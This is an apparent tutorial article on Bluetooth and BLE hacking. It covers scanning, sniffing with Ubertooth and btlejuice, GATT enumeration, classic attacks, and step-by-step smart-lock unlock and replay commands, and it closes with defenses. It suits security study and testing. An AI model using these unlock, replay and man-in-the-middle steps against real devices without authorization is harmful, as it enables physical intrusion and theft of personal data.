Techzone/Bluetooth Hacking

Bluetooth Hacking

4 min readArticle

Bluetooth operates in the 2.4 GHz ISM band and comes in two main flavors: Classic Bluetooth (BR/EDR) and Bluetooth Low Energy (BLE). The attack surface has shifted heavily toward BLE as modern IoT devices, wearables, medical devices, smart locks, and industrial sensors use it. Classic Bluetooth is mostly in audio devices and older phones now.

Bluetooth Versions and Attack Surface

Type Range Uses Attack Interest
Classic BT (BR/EDR) ~100m Headsets, audio, older phones Legacy attacks, pairing PIN brute force
BLE (Bluetooth 4.x+) ~100m IoT, wearables, smart devices Sniffing, GATT enumeration, relay attacks
BT 5.x ~400m Modern devices Longer range = larger attack radius

Tools

Linux Built-in

bash 
# Install bluetooth stack
sudo apt install bluetooth bluez bluez-tools

# Enable Bluetooth
sudo systemctl start bluetooth
sudo systemctl enable bluetooth

# HCI interface
hciconfig              # List BT adapters (like ifconfig for BT)
hciconfig hci0 up      # Enable adapter
hciconfig hci0 reset   # Reset adapter

# Scan for nearby devices
hcitool scan           # Classic BT scan
hcitool lescan         # BLE scan

# Device info
hcitool info <MAC>
hcitool rssi <MAC>     # Signal strength

btlejuice / BTLE-Sniffer (BLE MitM)

bash 
# BtleJuice — BLE Man-in-the-Middle framework
sudo apt install nodejs npm
npm install -g btlejuice

# Run btlejuice proxy
sudo btlejuice-proxy

# Run btlejuice server
sudo btlejuice

# Access web UI: http://localhost:3000
# Select target device → proxied → capture all GATT traffic

Ubertooth One (Hardware Sniffer)

The Ubertooth is purpose-built hardware for Bluetooth sniffing:

bash 
# Install tools
sudo apt install ubertooth

# Sniff BLE
ubertooth-btle -f -c capture.pcap

# Sniff Classic BT (LAP discovery)
ubertooth-rx

# Follow a specific device
ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -c capture.pcap

Bluetooth Scanner and GATT Enumeration

bash 
# Install gatttool (part of bluez)
sudo apt install bluez

# Scan for BLE devices
sudo hcitool lescan

# Connect to BLE device and enumerate
gatttool -b AA:BB:CC:DD:EE:FF -I
# In interactive mode:
[AA:BB:CC:DD:EE:FF][LE]> connect
[AA:BB:CC:DD:EE:FF][LE]> primary          # List services
[AA:BB:CC:DD:EE:FF][LE]> characteristics  # List characteristics
[AA:BB:CC:DD:EE:FF][LE]> char-read-hnd 0x002a  # Read a handle

BlueZ + Python (gattlib)

python 
import gattlib
import subprocess

# Simple BLE scan using hcitool
import subprocess
result = subprocess.run(['hcitool', 'lescan'], capture_output=True, timeout=10)

# Or using bleak (Python BLE library)
pip install bleak

import asyncio
from bleak import BleakScanner

async def scan():
    devices = await BleakScanner.discover()
    for d in devices:
        print(f"{d.address}: {d.name} (RSSI: {d.rssi})")

asyncio.run(scan())

Wireshark for Bluetooth

bash 
# Capture BT with Ubertooth to pcap, then open in Wireshark
ubertooth-btle -f -c capture.pcap
wireshark capture.pcap

# Or capture directly (if BT adapter supports monitor mode)
tshark -i bluetooth0 -w bt_capture.pcap

Classic Bluetooth Attacks

Bluejacking

Send unsolicited messages to Bluetooth devices. Mostly harmless annoyance, no auth bypass.

Bluesnarfing

Unauthorized access to data on a Bluetooth device (contacts, messages, calendar). Exploits flaws in OBEX Push Profile.

Bluebugging

Remote control of a Bluetooth phone — make calls, read/send SMS. Mostly patched on modern devices.

PIN Brute Force

bash 
# Classic BT pairing uses a PIN (4-digit by default)
# Tools: hcitool, bt-scan, commercial tools

# Check if device accepts connections
hcitool info AA:BB:CC:DD:EE:FF

# Some older devices have hardcoded PINs:
# 0000, 1234, 1111, 0000

BLE Attack Scenarios

Enumerate a Smart Lock

bash 
# 1. Scan for device
sudo hcitool lescan | grep -i "lock\|smart"

# 2. Connect and enumerate services
gatttool -b AA:BB:CC:DD:EE:FF -I
[device]> connect
[device]> primary
[device]> characteristics

# 3. Find the unlock characteristic
# 4. Try writing unlock command (from reverse engineering the app)
[device]> char-write-req 0x0025 01020304

BLE Replay Attack

Capture a legitimate BLE command (e.g., unlock) and replay it:

bash 
# 1. Capture with Ubertooth
ubertooth-btle -f -c commands.pcap -t TARGET_MAC

# 2. Open in Wireshark, find the Write Without Response packet
# 3. Extract the command bytes
# 4. Replay using gatttool
gatttool -b TARGET_MAC --char-write-req -a 0x0025 -n CAPTURED_BYTES

BLE Man-in-the-Middle

Most effective with hardware tools (Ubertooth pair) or btlejuice.

Flipper Zero for Bluetooth

shell 
Flipper Zero → Bluetooth:
  - BLE scanning (passive)
  - Pair with devices
  - Send commands
  
Sub-GHz is better for non-BT wireless attacks, but BLE is available.

Defense

  • Disable Bluetooth when not in use
  • Set to "non-discoverable" mode
  • Use BLE Secure Connections (introduced in BT 4.2)
  • Don't pair in public
  • Check for "Just Works" pairing (no security)
  • Firmware updates — many BT vuln patches are in firmware

See Also

  • rfid-nfc-tools — Related short-range wireless
  • software-defined-radio-sdr — SDR can also receive BT in some configs
  • hackrf-sdr-attack-tool — HackRF can operate in 2.4 GHz band
techzonesite.comUnlock Your IT Potential